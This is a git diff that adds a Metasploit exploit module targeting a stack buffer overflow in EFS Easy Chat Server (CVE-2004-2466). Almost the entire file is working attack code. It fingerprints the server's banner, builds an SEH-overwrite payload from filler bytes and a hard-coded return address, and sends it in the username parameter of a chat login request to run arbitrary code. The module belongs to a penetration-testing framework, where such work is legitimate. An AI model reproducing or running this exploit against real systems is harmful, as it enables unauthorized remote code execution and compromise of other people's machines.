diff --git a/modules/exploits/windows/http/efs_easychatserver_username.rb b/modules/exploits/windows/http/efs_easychatserver_username.rb new file mode 100644 index 0000000000..81f3393ef8 --- /dev/null +++ b/modules/exploits/windows/http/efs_easychatserver_username.rb @@ -0,0 +1,89 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/projects/Framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::Seh + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'EFS Easy Chat Server Authentication Request Handling Buffer Overflow', + 'Description' => %q{ + This module exploits a stack overflow in EFS Software Easy Chat Server. By + sending a overly long authentication request, an attacker may be able to execute + arbitrary code. + }, + 'Author' => [ 'LSO ' ], + 'License' => BSD_LICENSE, + 'Version' => '$Revision$', + 'References' => + [ + [ 'BID', '25328' ], + [ 'OSVDB', '7416' ], + [ 'CVE', '2004-2466' ], + ], + 'DefaultOptions' => + { + 'EXITFUNC' => 'process', + }, + 'Privileged' => true, + 'Payload' => + { + 'Space' => 500, + 'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c", + 'StackAdjustment' => -3500, + }, + 'Platform' => 'win', + 'Targets' => + [ + [ 'Easy Chat Server 2.2', { 'Ret' => 0x1001b2b6 } ], # patrickw OK 20090302 w2k + ], + 'DisclosureDate' => 'Aug 14 2007', + 'DefaultTarget' => 0)) + + register_options( [ Opt::RPORT(80) ], self.class ) + end + + def check + res = send_request_raw + + if res and res['Server'] =~ /Easy Chat Server\/1.0/ + return Exploit::CheckCode::Appears + end + + return Exploit::CheckCode::Safe + end + + def exploit + # randomize some values. + val = rand_text_alpha(rand(10) + 1) + num = rand_text_numeric(1) + + # exploit buffer. + filler = rand_text_alpha(216) + seh = generate_seh_payload(target.ret) + juju = filler + seh + + uri = "/chat.ghp?username=#{juju}&password=#{val}&room=2&#{val}=#{num}" + + print_status("Trying target #{target.name}...") + + send_request_raw({'uri' => uri}, 5) + + handler + disconnect + end + +end +